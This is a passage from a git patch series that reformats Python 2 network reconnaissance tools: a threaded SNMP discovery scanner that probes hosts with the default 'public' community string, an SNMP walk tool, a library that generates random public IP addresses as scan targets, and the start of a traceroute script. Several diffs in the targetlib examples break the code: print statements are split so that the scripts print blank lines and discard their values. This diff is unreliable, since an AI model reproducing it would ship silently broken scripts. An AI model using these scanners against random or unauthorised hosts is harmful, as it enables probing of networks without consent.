parser.add_argument("-threads", action="store", dest="threads", type=int, default=1, required=False, + help="default 1") + parser.add_argument("-v", action="store_true", dest="verbose", default=False, required=False) + args = parser.parse_args() + + init(args) if __name__ == '__main__': - main() + main() diff --git a/snmp/snmp-discovery.py b/snmp/snmp-discovery.py index e3cc6e2..9da317c 100755 --- a/snmp/snmp-discovery.py +++ b/snmp/snmp-discovery.py @@ -1,5 +1,5 @@ #!/usr/bin/env python2 -#copyright curesec gmbh 2014, ping@curesec.com +# copyright curesec gmbh 2014, ping@curesec.com # import argparse @@ -9,195 +9,190 @@ from pysnmp.entity.rfc3413.oneliner import cmdgen - myQueue = Queue.Queue() myLock = threading.Lock() class SNMP_SCAN(threading.Thread): - def run(self): - while True: - ip, port, version, timeout, retries, verbose = myQueue.get() - self.start_snmp_scan(ip, port, version, timeout, retries, verbose) - myQueue.task_done() - - def start_snmp_scan(self, ip, port, version, timeout, retries, verbose): - if verbose: - myLock.acquire() - print "Scanning: %s:%d v%d" % (ip, port, version) - myLock.release() - successful = snmp_scan(ip, port, version, timeout, retries, verbose) - if successful: - myLock.acquire() - print "SNMP v%d found on %s:%d" % (version, ip, port) - myLock.release() - else: - if verbose: - myLock.acquire() - print "No reply from %s:%d v%d" % (ip, port, version) - myLock.release() + def run(self): + while True: + ip, port, version, timeout, retries, verbose = myQueue.get() + self.start_snmp_scan(ip, port, version, timeout, retries, verbose) + myQueue.task_done() + + def start_snmp_scan(self, ip, port, version, timeout, retries, verbose): + if verbose: + myLock.acquire() + print "Scanning: %s:%d v%d" % (ip, port, version) + myLock.release() + successful = snmp_scan(ip, port, version, timeout, retries, verbose) + if successful: + myLock.acquire() + print "SNMP v%d found on %s:%d" % (version, ip, port) + myLock.release() + else: + if verbose: + myLock.acquire() + print "No reply from %s:%d v%d" % (ip, port, version) + myLock.release() + # returns True if the SNMP agent answers our get request # returns False otherwise def snmp_scan(ip, port, version, timeout, retries, verbose): - cmdGen = cmdgen.CommandGenerator() - - if version == 1: - community_string = "public" - authentication_token = cmdgen.CommunityData(community_string, mpModel = 0) - elif version == 2: - community_string = "public" - authentication_token = cmdgen.CommunityData(community_string, mpModel = 1) - else: # version 3 - # picking an implausible username to produce an "unknownUserName" response - username = "mfxgfwvhxcrqeejolnhjskie" - authentication_token = cmdgen.UsmUserData(username) - - errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd( - authentication_token, - cmdgen.UdpTransportTarget((ip, port), timeout = timeout, retries = retries), - cmdgen.MibVariable('SNMPv2-MIB', 'sysDescr', 0) - ) - - if errorIndication: - if verbose: - myLock.acquire() - print "%s" % (errorIndication) - myLock.release() - if version == 3 and errorIndication == "unknownUserName": - return True - else: - return False - elif errorStatus: - if verbose: - myLock.acquire() - print "%s" % (errorStatus) - myLock.release() - return False - else: - if verbose: - for name, val in varBinds: - myLock.acquire() - print "%s = %s" % (name.prettyPrint(), val.prettyPrint()) - myLock.release() - return True - - - - - - - + cmdGen = cmdgen.CommandGenerator() + + if version == 1: + community_string = "public" + authentication_token = cmdgen.CommunityData(community_string, mpModel=0) + elif version == 2: + community_string = "public" + authentication_token = cmdgen.CommunityData(community_string, mpModel=1) + else: # version 3 + # picking an implausible username to produce an "unknownUserName" response + username = "mfxgfwvhxcrqeejolnhjskie" + authentication_token = cmdgen.UsmUserData(username) + + errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd( + authentication_token, + cmdgen.UdpTransportTarget((ip, port), timeout=timeout, retries=retries), + cmdgen.MibVariable('SNMPv2-MIB', 'sysDescr', 0) + ) + + if errorIndication: + if verbose: + myLock.acquire() + print "%s" % (errorIndication) + myLock.release() + if version == 3 and errorIndication == "unknownUserName": + return True + else: + return False + elif errorStatus: + if verbose: + myLock.acquire() + print "%s" % (errorStatus) + myLock.release() + return False + else: + if verbose: + for name, val in varBinds: + myLock.acquire() + print "%s = %s" % (name.prettyPrint(), val.prettyPrint()) + myLock.release() + return True def init_snmp_scan(ip, port, args): - timeout = args.timeout - retries = args.retries - verbose = args.verbose - if args.version == None: - #run_snmp_scan(ip, port, 1, timeout, retries, verbose) - #run_snmp_scan(ip, port, 2, timeout, retries, verbose) - #run_snmp_scan(ip, port, 3, timeout, retries, verbose) - myQueue.put((ip, port, 1, timeout, retries, verbose)) - myQueue.put((ip, port, 2, timeout, retries, verbose)) - myQueue.put((ip, port, 3, timeout, retries, verbose)) - else: - if args.version != 1 and args.version != 2 and args.version != 3: - print "Error: version must either be 1, 2 or 3." - return - version = args.version - #run_snmp_scan(ip, port, version, timeout, retries, verbose) - myQueue.put((ip, port, version, timeout, retries, verbose)) - + timeout = args.timeout + retries = args.retries + verbose = args.verbose + if args.version == None: + # run_snmp_scan(ip, port, 1, timeout, retries, verbose) + # run_snmp_scan(ip, port, 2, timeout, retries, verbose) + # run_snmp_scan(ip, port, 3, timeout, retries, verbose) + myQueue.put((ip, port, 1, timeout, retries, verbose)) + myQueue.put((ip, port, 2, timeout, retries, verbose)) + myQueue.put((ip, port, 3, timeout, retries, verbose)) + else: + if args.version != 1 and args.version != 2 and args.version != 3: + print "Error: version must either be 1, 2 or 3." + return + version = args.version + # run_snmp_scan(ip, port, version, timeout, retries, verbose) + myQueue.put((ip, port, version, timeout, retries, verbose)) def parse_ports(ip, args): - if args.port: - run_snmp_scan_init(ip, args.port, args) - elif args.portrange: - port1 = int(args.portrange.split("-")[0]) - port2 = int(args.portrange.split("-")[1]) - for port in range(port1, port2 + 1): - run_snmp_scan_init(ip, port, args) - elif args.portfile: - portfile = open(args.portfile, "r") - for port in portfile: - port = port.strip() - port = int(port) - run_snmp_scan_init(ip, port, args) - portfile.close() - else: - init_snmp_scan(ip, 161, args) - + if args.port: + run_snmp_scan_init(ip, args.port, args) + elif args.portrange: + port1 = int(args.portrange.split("-")[0]) + port2 = int(args.portrange.split("-")[1]) + for port in range(port1, port2 + 1): + run_snmp_scan_init(ip, port, args) + elif args.portfile: + portfile = open(args.portfile, "r") + for port in portfile: + port = port.strip() + port = int(port) + run_snmp_scan_init(ip, port, args) + portfile.close() + else: + init_snmp_scan(ip, 161, args) def parse_ips(args): - if args.hostname: - try: - ip = socket.gethostbyname(args.hostname) - except socket.error as e: - if args.verbose: - print "Socket error: %s" % e - return - parse_ports(ip, args) - elif args.ip: - parse_ports(args.ip, args) - elif args.ipnetwork: - ipnetwork = netaddr.IPNetwork(args.ipnetwork) - for ip in ipnetwork: - parse_ports(str(ip), args) - elif args.iprange: - ip1 = args.iprange.split("-")[0] - ip2 = args.iprange.split("-")[1] - iprange = netaddr.IPRange(ip1, ip2) - for ip in iprange: - parse_ports(str(ip), args) - elif args.ipfile: - ipfile = open(args.ipfile, "r") - for ip in ipfile: - ip = ip.strip() - parse_ports(ip, args) - ipfile.close() + if args.hostname: + try: + ip = socket.gethostbyname(args.hostname) + except socket.error as e: + if args.verbose: + print "Socket error: %s" % e + return + parse_ports(ip, args) + elif args.ip: + parse_ports(args.ip, args) + elif args.ipnetwork: + ipnetwork = netaddr.IPNetwork(args.ipnetwork) + for ip in ipnetwork: + parse_ports(str(ip), args) + elif args.iprange: + ip1 = args.iprange.split("-")[0] + ip2 = args.iprange.split("-")[1] + iprange = netaddr.IPRange(ip1, ip2) + for ip in iprange: + parse_ports(str(ip), args) + elif args.ipfile: + ipfile = open(args.ipfile, "r") + for ip in ipfile: + ip = ip.strip() + parse_ports(ip, args) + ipfile.close() def init(args): - for i in range(args.threads): - worker_thread = SNMP_SCAN() - worker_thread.setDaemon(True) - worker_thread.start() - parse_ips(args) - myQueue.join() + for i in range(args.threads): + worker_thread = SNMP_SCAN() + worker_thread.setDaemon(True) + worker_thread.start() + parse_ips(args) + myQueue.join() + def main(): - parser_description = "Testable SNMP version are SNMPv1, SNMPv2c and SNMPv3.\n" +\ - "If no version is specified, all three versions are tested.\n" +\ - "Version 1 and version 2 are tested by using the community string \"public\".\n" +\ - "An SNMP server will not send a reply if that community string is invalid,\n" +\ - "resulting in inaccurate results. A brute force attempt on the community string\n" +\ - "can be attempted to verify its existence.\n" +\ - "On the other hand, SNMP Version 3 should always return \"user not found\".\n" +\ - "There appears to be a bug in pysnmp: For SNMP version 3, picking\n" +\ - "a retries value of either 0 and 1 might result in an infinite loop." - parser = argparse.ArgumentParser(description = parser_description, formatter_class=argparse.RawTextHelpFormatter) - group1 = parser.add_mutually_exclusive_group(required=True) - group1.add_argument("-hostname", action="store", dest="hostname", help="e.g. example.com") - group1.add_argument("-ip", action="store", dest="ip", help="e.g. 192.168.0.1") - group1.add_argument("-ipnetwork", action="store", dest="ipnetwork", help="e.g. 192.168.0.0/24") - group1.add_argument("-iprange", action="store", dest="iprange", help="e.g. 192.168.0.1-192.168.0.254") - group1.add_argument("-ipfile", action="store", dest="ipfile", help="e.g. ips.txt") - group2 = parser.add_mutually_exclusive_group(required=False) - group2.add_argument("-port", action="store", dest="port", type=int, help="default 161") - group2.add_argument("-portrange", action="store", dest="portrange", help="e.g. 1-1000") - group2.add_argument("-portfile", action="store", dest="portfile", help="e.g. ports.txt") - parser.add_argument("-version", action="store", dest="version", type=int, required=False, help="(1 | 2 | 3)") - parser.add_argument("-timeout", action="store", dest="timeout", type=int, default=3, required=False, help="default 3") - parser.add_argument("-retries", action="store", dest="retries", type=int, default=2, required=False, help="default 2") - parser.add_argument("-threads", action="store", dest="threads", type=int, default=1, required=False, help="default 1") - parser.add_argument("-v", action="store_true", dest="verbose", default=False, required=False) - args = parser.parse_args() - - init(args) + parser_description = "Testable SNMP version are SNMPv1, SNMPv2c and SNMPv3.\n" + \ + "If no version is specified, all three versions are tested.\n" + \ + "Version 1 and version 2 are tested by using the community string \"public\".\n" + \ + "An SNMP server will not send a reply if that community string is invalid,\n" + \ + "resulting in inaccurate results. A brute force attempt on the community string\n" + \ + "can be attempted to verify its existence.\n" + \ + "On the other hand, SNMP Version 3 should always return \"user not found\".\n" + \ + "There appears to be a bug in pysnmp: For SNMP version 3, picking\n" + \ + "a retries value of either 0 and 1 might result in an infinite loop." + parser = argparse.ArgumentParser(description=parser_description, formatter_class=argparse.RawTextHelpFormatter) + group1 = parser.add_mutually_exclusive_group(required=True) + group1.add_argument("-hostname", action="store", dest="hostname", help="e.g. example.com") + group1.add_argument("-ip", action="store", dest="ip", help="e.g. 192.168.0.1") + group1.add_argument("-ipnetwork", action="store", dest="ipnetwork", help="e.g. 192.168.0.0/24") + group1.add_argument("-iprange", action="store", dest="iprange", help="e.g. 192.168.0.1-192.168.0.254") + group1.add_argument("-ipfile", action="store", dest="ipfile", help="e.g. ips.txt") + group2 = parser.add_mutually_exclusive_group(required=False) + group2.add_argument("-port", action="store", dest="port", type=int, help="default 161") + group2.add_argument("-portrange", action="store", dest="portrange", help="e.g. 1-1000") + group2.add_argument("-portfile", action="store", dest="portfile", help="e.g. ports.txt") + parser.add_argument("-version", action="store", dest="version", type=int, required=False, help="(1 | 2 | 3)") + parser.add_argument("-timeout", action="store", dest="timeout", type=int, default=3, required=False, + help="default 3") + parser.add_argument("-retries", action="store", dest="retries", type=int, default=2, required=False, + help="default 2") + parser.add_argument("-threads", action="store", dest="threads", type=int, default=1, required=False, + help="default 1") + parser.add_argument("-v", action="store_true", dest="verbose", default=False, required=False) + args = parser.parse_args() + + init(args) if __name__ == '__main__': - main() + main() diff --git a/snmp/snmp-walk.py b/snmp/snmp-walk.py index e503a40..c2a94f2 100755 --- a/snmp/snmp-walk.py +++ b/snmp/snmp-walk.py @@ -1,5 +1,5 @@ #!/usr/bin/env python2 -#copyright curesec gmbh ping@curesec.com +# copyright curesec gmbh ping@curesec.com # http://pysnmp.sourceforge.net/examples/current/v3arch/oneliner/manager/cmdgen/getnext-v1.html @@ -11,114 +11,118 @@ def snmp_walk(ip, port, version, timeout, retries, oid, n, maxrows, authentication): - errorIndication, errorStatus, errorIndex, varBindTable = cmdGen.nextCmd( - authentication, - cmdgen.UdpTransportTarget((ip, port), - timeout = timeout, retries = retries), - oid, - lookupNames=not n, lookupValues=not n, - maxRows=maxrows - ) - - if errorIndication: - print "Error: %s" % errorIndication - else: - if errorStatus: - print('Error: %s at %s' % ( - errorStatus.prettyPrint(), - errorIndex and varBindTable[-1][int(errorIndex)-1] or '?' - ) - ) - else: - for varBindTableRow in varBindTable: - for name, val in varBindTableRow: - print('%s = %s' % (name.prettyPrint(), val.prettyPrint())) - -def init(args): - ip = args.ip - port = args.port - version = args.version - timeout = args.timeout - retries = args.retries - oid = args.oid - n = args.n - maxrows = args.maxrows - - if version != 1 and version != 2 and version != 3: - print "Error: Version must be either 1, 2 or 3" - return - - if version == 1 or version == 2: - if not args.communitystring: - print "Error: community string required." - return - community_string = args.communitystring - if version == 1: - authentication = cmdgen.CommunityData(community_string, mpModel = 0) - elif version == 2: - authentication = cmdgen.CommunityData(community_string, mpModel = 1) - else: - auth_protocols = { "MD5": cmdgen.usmHMACMD5AuthProtocol, "SHA": cmdgen.usmHMACSHAAuthProtocol} - priv_protocols = { "DES": cmdgen.usmDESPrivProtocol, "3DES": cmdgen.usm3DESEDEPrivProtocol, - "AES128": cmdgen.usmAesCfb128Protocol, "AES192": cmdgen.usmAesCfb192Protocol, - "AES256": cmdgen.usmAesCfb256Protocol } - if not args.username: - print "Error: Username required." - return - username = args.username - if not args.auth_password: - authentication = cmdgen.UsmUserData(username) - else: - auth_password = args.auth_password - if args.auth_protocol: - auth_protocol = auth_protocols[args.auth_protocol] - else: - auth_protocol = auth_protocols["MD5"] - if not args.priv_password: - authentication = cmdgen.UsmUserData(username, auth_password, authProtocol = auth_protocol) - else: - priv_password = args.priv_password - if args.priv_protocol: - priv_protocol = priv_protocols[args.priv_protocol] - else: - priv_protocol = priv_protocols["DES"] - authentication = cmdgen.UsmUserData(username, auth_password, priv_password, authProtocol = auth_protocol, privProtocol = priv_protocol) - snmp_walk(ip, port, version, timeout, retries, oid, n, maxrows, authentication) - - + errorIndication, errorStatus, errorIndex, varBindTable = cmdGen.nextCmd( + authentication, + cmdgen.UdpTransportTarget((ip, port), + timeout=timeout, retries=retries), + oid, + lookupNames=not n, lookupValues=not n, + maxRows=maxrows + ) + + if errorIndication: + print "Error: %s" % errorIndication + else: + if errorStatus: + print('Error: %s at %s' % ( + errorStatus.prettyPrint(), + errorIndex and varBindTable[-1][int(errorIndex) - 1] or '?' + ) + ) + else: + for varBindTableRow in varBindTable: + for name, val in varBindTableRow: + print('%s = %s' % (name.prettyPrint(), val.prettyPrint())) +def init(args): + ip = args.ip + port = args.port + version = args.version + timeout = args.timeout + retries = args.retries + oid = args.oid + n = args.n + maxrows = args.maxrows + + if version != 1 and version != 2 and version != 3: + print "Error: Version must be either 1, 2 or 3" + return + + if version == 1 or version == 2: + if not args.communitystring: + print "Error: community string required." + return + community_string = args.communitystring + if version == 1: + authentication = cmdgen.CommunityData(community_string, mpModel=0) + elif version == 2: + authentication = cmdgen.CommunityData(community_string, mpModel=1) + else: + auth_protocols = {"MD5": cmdgen.usmHMACMD5AuthProtocol, "SHA": cmdgen.usmHMACSHAAuthProtocol} + priv_protocols = {"DES": cmdgen.usmDESPrivProtocol, "3DES": cmdgen.usm3DESEDEPrivProtocol, + "AES128": cmdgen.usmAesCfb128Protocol, "AES192": cmdgen.usmAesCfb192Protocol, + "AES256": cmdgen.usmAesCfb256Protocol} + if not args.username: + print "Error: Username required." + return + username = args.username + if not args.auth_password: + authentication = cmdgen.UsmUserData(username) + else: + auth_password = args.auth_password + if args.auth_protocol: + auth_protocol = auth_protocols[args.auth_protocol] + else: + auth_protocol = auth_protocols["MD5"] + if not args.priv_password: + authentication = cmdgen.UsmUserData(username, auth_password, authProtocol=auth_protocol) + else: + priv_password = args.priv_password + if args.priv_protocol: + priv_protocol = priv_protocols[args.priv_protocol] + else: + priv_protocol = priv_protocols["DES"] + authentication = cmdgen.UsmUserData(username, auth_password, priv_password, authProtocol=auth_protocol, + privProtocol=priv_protocol) + snmp_walk(ip, port, version, timeout, retries, oid, n, maxrows, authentication) def main(): - parser_description = "For SNMP version 1 and 2 a community string is needed\n" +\ - "For SNMP version 3 a username is need. In addition to the username,\n" +\ - "an authentication password or authentication/privary passwords\n" +\ - "can be provided.\n" +\ - "pysnmp does not produce any output until it is finished. So be patient\n" +\ - "or use -oid or -maxrows to reduce ammount of OIDs to retrieve.\n" +\ - "There appears to be a bug in pysnmp: For SNMP version 3, picking\n" +\ - "a retries value of either 0 and 1 might result in an infinite loop." - parser = argparse.ArgumentParser(description = parser_description, formatter_class=argparse.RawTextHelpFormatter) - parser.add_argument("-ip", action="store", dest="ip", required=True, help="e.g. 192.168.0.1") - parser.add_argument("-port", action="store", dest="port", required=False, type=int, default=161, help="default 161") - parser.add_argument("-version", action="store", dest="version", type=int, required=True, help="(1 | 2 | 3)") - group1 = parser.add_mutually_exclusive_group(required=True) - group1.add_argument("-communitystring", action="store", dest="communitystring", help="version 1 and 2") - group1.add_argument("-username", action="store", dest="username", help="version 3") - parser.add_argument("-a", action="store", dest="auth_password", required=False, help="optional") - parser.add_argument("-A", action="store", dest="auth_protocol", required=False, help="optional; MD5 (default), SHA") - parser.add_argument("-p", action="store", dest="priv_password", required=False, help="optional") - parser.add_argument("-P", action="store", dest="priv_protocol", required=False, help="optional; DES (default), 3DES, AES128, AES192, AES256") - parser.add_argument("-timeout", action="store", dest="timeout", type=int, default=3, required=False, help="default 3") - parser.add_argument("-retries", action="store", dest="retries", type=int, default=2, required=False, help="default 2. Do not use 0 or 1 due to a bug in pysnmp.") - parser.add_argument("-oid", action="store", dest="oid", default="1.3.6.1.2.1", required=False, help="default 1.3.6.1.2.1. Specify the subtree to enumerate, 1.3 for all") - parser.add_argument("-n", action="store_true", dest="n", default=False, required=False, help="print OIDs numerically") - parser.add_argument("-maxrows", action="store", dest="maxrows", type=int, default=0, required=False, help="default 0. Limit the results") - args = parser.parse_args() - - init(args) + parser_description = "For SNMP version 1 and 2 a community string is needed\n" + \ + "For SNMP version 3 a username is need. In addition to the username,\n" + \ + "an authentication password or authentication/privary passwords\n" + \ + "can be provided.\n" + \ + "pysnmp does not produce any output until it is finished. So be patient\n" + \ + "or use -oid or -maxrows to reduce ammount of OIDs to retrieve.\n" + \ + "There appears to be a bug in pysnmp: For SNMP version 3, picking\n" + \ + "a retries value of either 0 and 1 might result in an infinite loop." + parser = argparse.ArgumentParser(description=parser_description, formatter_class=argparse.RawTextHelpFormatter) + parser.add_argument("-ip", action="store", dest="ip", required=True, help="e.g. 192.168.0.1") + parser.add_argument("-port", action="store", dest="port", required=False, type=int, default=161, help="default 161") + parser.add_argument("-version", action="store", dest="version", type=int, required=True, help="(1 | 2 | 3)") + group1 = parser.add_mutually_exclusive_group(required=True) + group1.add_argument("-communitystring", action="store", dest="communitystring", help="version 1 and 2") + group1.add_argument("-username", action="store", dest="username", help="version 3") + parser.add_argument("-a", action="store", dest="auth_password", required=False, help="optional") + parser.add_argument("-A", action="store", dest="auth_protocol", required=False, help="optional; MD5 (default), SHA") + parser.add_argument("-p", action="store", dest="priv_password", required=False, help="optional") + parser.add_argument("-P", action="store", dest="priv_protocol", required=False, + help="optional; DES (default), 3DES, AES128, AES192, AES256") + parser.add_argument("-timeout", action="store", dest="timeout", type=int, default=3, required=False, + help="default 3") + parser.add_argument("-retries", action="store", dest="retries", type=int, default=2, required=False, + help="default 2. Do not use 0 or 1 due to a bug in pysnmp.") + parser.add_argument("-oid", action="store", dest="oid", default="1.3.6.1.2.1", required=False, + help="default 1.3.6.1.2.1. Specify the subtree to enumerate, 1.3 for all") + parser.add_argument("-n", action="store_true", dest="n", default=False, required=False, + help="print OIDs numerically") + parser.add_argument("-maxrows", action="store", dest="maxrows", type=int, default=0, required=False, + help="default 0. Limit the results") + args = parser.parse_args() + + init(args) if __name__ == '__main__': - main() + main() From 9fe26d5cdde34c4415b86d0e2dad6a1e17610c96 Mon Sep 17 00:00:00 2001 From: BhavKaran Date: Fri, 5 Oct 2018 16:49:11 +0530 Subject: [PATCH 07/12] Add files via upload --- targetlib/examples/generate1Random.py | 17 ++++++++---- targetlib/examples/generateRandom.py | 20 ++++++++------ targetlib/examples/generateRange.py | 40 +++++++++++++++------------ 3 files changed, 46 insertions(+), 31 deletions(-) diff --git a/targetlib/examples/generate1Random.py b/targetlib/examples/generate1Random.py index effdcd8..9359e36 100755 --- a/targetlib/examples/generate1Random.py +++ b/targetlib/examples/generate1Random.py @@ -11,13 +11,18 @@ import sys import targetlib + def usage(): - print '%s' % (sys.argv[0]) + print + '%s' % (sys.argv[0]) + -if len(sys.argv)<1: - usage() - exit(1) +if len(sys.argv) < 1: + usage() + exit(1) tl = targetlib.targetlib() -print tl._generate_ip() -print 'Done' +print +tl._generate_ip() +print +'Done' diff --git a/targetlib/examples/generateRandom.py b/targetlib/examples/generateRandom.py index 1a7e0a1..4f12b99 100755 --- a/targetlib/examples/generateRandom.py +++ b/targetlib/examples/generateRandom.py @@ -20,21 +20,25 @@ import sys import targetlib + def usage(): - print '%s ' % (sys.argv[0]) + print + '%s ' % (sys.argv[0]) -if len(sys.argv)<2: - usage() - exit(1) -count = int(sys.argv[1]) +if len(sys.argv) < 2: + usage() + exit(1) +count = int(sys.argv[1]) tl = targetlib.targetlib() tl.generate_random_ip(count) while tl.tgt_q.qsize() != 0: - tgt = tl.tgt_q.get() - print tgt + tgt = tl.tgt_q.get() + print + tgt -print 'Done' +print +'Done' diff --git a/targetlib/examples/generateRange.py b/targetlib/examples/generateRange.py index 05ae477..3e75590 100755 --- a/targetlib/examples/generateRange.py +++ b/targetlib/examples/generateRange.py @@ -3,35 +3,41 @@ # Example generateRange.py # by Marco Lux # -#./generateRange.py 1.1.1.1 1.1.1.5 -#Target list has 5 ips -#1.1.1.1 -#1.1.1.2 -#1.1.1.3 -#1.1.1.4 -#1.1.1.5 -#Done +# ./generateRange.py 1.1.1.1 1.1.1.5 +# Target list has 5 ips +# 1.1.1.1 +# 1.1.1.2 +# 1.1.1.3 +# 1.1.1.4 +# 1.1.1.5 +# Done # import sys import targetlib + def usage(): - print '%s ' % (sys.argv[0]) + print + '%s ' % (sys.argv[0]) + -if len(sys.argv)<3: - usage() - exit(1) +if len(sys.argv) < 3: + usage() + exit(1) s = sys.argv[1] e = sys.argv[2] tl = targetlib.targetlib() -tl.generate_target_range(s,e) -print 'Target list has %d ips' % (tl.tgt_q.qsize()) +tl.generate_target_range(s, e) +print +'Target list has %d ips' % (tl.tgt_q.qsize()) while tl.tgt_q.qsize() != 0: - tgt = tl.tgt_q.get() - print tgt + tgt = tl.tgt_q.get() + print + tgt -print 'Done' +print +'Done' From 77f260ec37df352e8257c0d638589e91b9cd48ab Mon Sep 17 00:00:00 2001 From: BhavKaran Date: Fri, 5 Oct 2018 16:49:32 +0530 Subject: [PATCH 08/12] Add files via upload --- targetlib/targetlib.py | 275 ++++++++++++++++++++--------------------- 1 file changed, 136 insertions(+), 139 deletions(-) diff --git a/targetlib/targetlib.py b/targetlib/targetlib.py index 10ab347..c930f51 100644 --- a/targetlib/targetlib.py +++ b/targetlib/targetlib.py @@ -16,144 +16,141 @@ import Queue import threading -class targetlib(object): - def __init__(self): - ''' - self.tgt_q = Queue.Queue() - this is a Queue.Queue() and holds a random generated iplist via generate_random_ip() - to see the content of it: - size: print self.tgt_q.qsize() - get an element: element = self.tgt_q.get() - - self.randiter = 2 - default value is 2, this variable sets how many iterations of randomization of the targetlist shall be done - ''' - self.tgt_q = Queue.Queue() - self.randiter = 2 - self.version = '0.1' - - def printd(self,data): - pass - - def generate_target_range(self, startip, endip): - ''' - with help of this function you get a Queue.Queue() with all IPs in defined range - ''' - - #convert the startip to an integer - spack = socket.inet_aton(startip) - sip_int = struct.unpack("!L",spack)[0] - - #convert the endip to an integer - epack = socket.inet_aton(endip) - eip_int = struct.unpack("!L",epack)[0] - - while sip_int != eip_int+1: - nip = socket.inet_ntoa(struct.pack('!L', sip_int)) - self.printd(nip) - sip_int+=1 - self.tgt_q.put(nip) - - self.printd('Generated Range with %d IPs' % (self.tgt_q.qsize())) - - return - - - def randomizeIP(self, iplist): - ''' function to randomize ips to scan - iplist is a list with ip addresses - example: - iplist = ['1.1.1.1','2.2.2.2','3.3.3.3'] - rip_list = self.randomizeIP(iplist) - print rip_list - ['2.2.2.2','1.1.1.1','3.3.3.3'] - - ''' - orig_list = iplist - - # check if we have double ips - for ip in orig_list: - if iplist.count(ip)>1: - printd('[*] Warning, %s is %d times in list' % (ip,iplist.count(ip))) - while iplist.count(ip)>1: - iplist.remove(ip) - - spos = 0 - epos = len(iplist)-1 - cnt = 0 - while [ 1 ]: - a = random.randint(0,epos) - b = random.randint(0,epos) - amove = iplist[a] - bmove = iplist[b] - iplist[a]=bmove - iplist[b]=amove - cnt+=1 - rnd=2 - if cnt > epos*self.randiter: - printd('[+] Did %d random iterations, break' % (self.randiter)) - break - - # check if all ips still there (you never know ;)) - for ip in orig_list: - if iplist.count(ip)==0: - printd('Warning missing %s' % (ip)) - - return iplist - - def _generate_ip(self): - ''' - this function will generate a random ip address - you can call this function directly if you do not want to use generate_random_ip() - example: - import targetlib - tl = targetlib.targetlib() - tl._generate_ip() - '80.185.139.160' - ''' - blockOne = random.randrange(0, 255, 1) - blockTwo = random.randrange(0, 255, 1) - blockThree = random.randrange(0, 255, 1) - blockFour = random.randrange(0, 255, 1) - - if blockOne == 10: - return self._generate_ip() - - elif blockOne == 172: - return self._generate_ip() - - elif blockOne == 192: - return self._generate_ip() - - else: - newIp = str(blockOne) + '.' + str(blockTwo) + '.' + str(blockThree) + '.' + str(blockFour) - return newIp - - def generate_random_ip(self, count): - ''' - you can call this function to generate a list of random ips - generate_random_ip(1000) for 1000 randomly generated ip addresses - please note that the generated ips are placed in the class variable self.tgt_q - example: - import targetlib - tl = targetlib.targetlib() - tl.generate_random_ip(100) - print tl.tgt_q.qsize() - 100 - #getting one element - tl.tgt_q.get() - '163.146.106.96' - ''' - i=0 - count = int(count) - #print 'cnt', count - while i < count: - ip=self._generate_ip() - self.tgt_q.put(ip) - i+=1 - self.printd('gen %d' % (self.tgt_q.qsize())) - return - - +class targetlib(object): + def __init__(self): + ''' + self.tgt_q = Queue.Queue() + this is a Queue.Queue() and holds a random generated iplist via generate_random_ip() + to see the content of it: + size: print self.tgt_q.qsize() + get an element: element = self.tgt_q.get() + + self.randiter = 2 + default value is 2, this variable sets how many iterations of randomization of the targetlist shall be done + ''' + self.tgt_q = Queue.Queue() + self.randiter = 2 + self.version = '0.1' + + def printd(self, data): + pass + + def generate_target_range(self, startip, endip): + ''' + with help of this function you get a Queue.Queue() with all IPs in defined range + ''' + + # convert the startip to an integer + spack = socket.inet_aton(startip) + sip_int = struct.unpack("!L", spack)[0] + + # convert the endip to an integer + epack = socket.inet_aton(endip) + eip_int = struct.unpack("!L", epack)[0] + + while sip_int != eip_int + 1: + nip = socket.inet_ntoa(struct.pack('!L', sip_int)) + self.printd(nip) + sip_int += 1 + self.tgt_q.put(nip) + + self.printd('Generated Range with %d IPs' % (self.tgt_q.qsize())) + + return + + def randomizeIP(self, iplist): + ''' function to randomize ips to scan + iplist is a list with ip addresses + example: + iplist = ['1.1.1.1','2.2.2.2','3.3.3.3'] + rip_list = self.randomizeIP(iplist) + print rip_list + ['2.2.2.2','1.1.1.1','3.3.3.3'] + + ''' + orig_list = iplist + + # check if we have double ips + for ip in orig_list: + if iplist.count(ip) > 1: + printd('[*] Warning, %s is %d times in list' % (ip, iplist.count(ip))) + while iplist.count(ip) > 1: + iplist.remove(ip) + + spos = 0 + epos = len(iplist) - 1 + cnt = 0 + while [1]: + a = random.randint(0, epos) + b = random.randint(0, epos) + amove = iplist[a] + bmove = iplist[b] + iplist[a] = bmove + iplist[b] = amove + cnt += 1 + rnd = 2 + if cnt > epos * self.randiter: + printd('[+] Did %d random iterations, break' % (self.randiter)) + break + + # check if all ips still there (you never know ;)) + for ip in orig_list: + if iplist.count(ip) == 0: + printd('Warning missing %s' % (ip)) + + return iplist + + def _generate_ip(self): + ''' + this function will generate a random ip address + you can call this function directly if you do not want to use generate_random_ip() + example: + import targetlib + tl = targetlib.targetlib() + tl._generate_ip() + '80.185.139.160' + ''' + blockOne = random.randrange(0, 255, 1) + blockTwo = random.randrange(0, 255, 1) + blockThree = random.randrange(0, 255, 1) + blockFour = random.randrange(0, 255, 1) + + if blockOne == 10: + return self._generate_ip() + + elif blockOne == 172: + return self._generate_ip() + + elif blockOne == 192: + return self._generate_ip() + + else: + newIp = str(blockOne) + '.' + str(blockTwo) + '.' + str(blockThree) + '.' + str(blockFour) + return newIp + + def generate_random_ip(self, count): + ''' + you can call this function to generate a list of random ips + generate_random_ip(1000) for 1000 randomly generated ip addresses + please note that the generated ips are placed in the class variable self.tgt_q + example: + import targetlib + tl = targetlib.targetlib() + tl.generate_random_ip(100) + print tl.tgt_q.qsize() + 100 + #getting one element + tl.tgt_q.get() + '163.146.106.96' + ''' + i = 0 + count = int(count) + # print 'cnt', count + while i < count: + ip = self._generate_ip() + self.tgt_q.put(ip) + i += 1 + self.printd('gen %d' % (self.tgt_q.qsize())) + return From 77a00fb7da258fa9bfbe4facb5746952922da0f3 Mon Sep 17 00:00:00 2001 From: BhavKaran Date: Fri, 5 Oct 2018 16:50:02 +0530 Subject: [PATCH 09/12] Add files via upload --- traceroute/icmp/icmptraceroute.py | 304 +++++++++++++++--------------- 1 file changed, 152 insertions(+), 152 deletions(-) diff --git a/traceroute/icmp/icmptraceroute.py b/traceroute/icmp/icmptraceroute.py index b1eb1f4..5cb6e9f 100755 --- a/traceroute/icmp/icmptraceroute.py +++ b/traceroute/icmp/icmptraceroute.py @@ -1,5 +1,5 @@ #!/usr/bin/env python2 -#copyright 2014 curesec gmbh, ping@curesec.com +# copyright 2014 curesec 